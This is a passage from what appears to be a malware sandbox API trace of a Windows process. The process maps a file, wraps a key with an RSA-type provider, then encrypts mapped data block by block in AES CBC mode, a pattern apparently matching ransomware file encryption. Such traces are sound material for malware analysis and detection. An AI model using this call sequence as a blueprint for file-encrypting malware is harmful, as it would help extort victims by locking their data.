(hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.013] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.013] CloseHandle (hObject=0x3c0) returned 1 [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.013] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115fefe [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] GetTickCount () returned 0x115ff0d [0128.014] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668ac0) returned 1 [0128.015] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0128.015] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.015] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.015] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0128.015] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.015] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.015] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0128.016] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0128.016] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.016] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.017] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.018] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.019] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 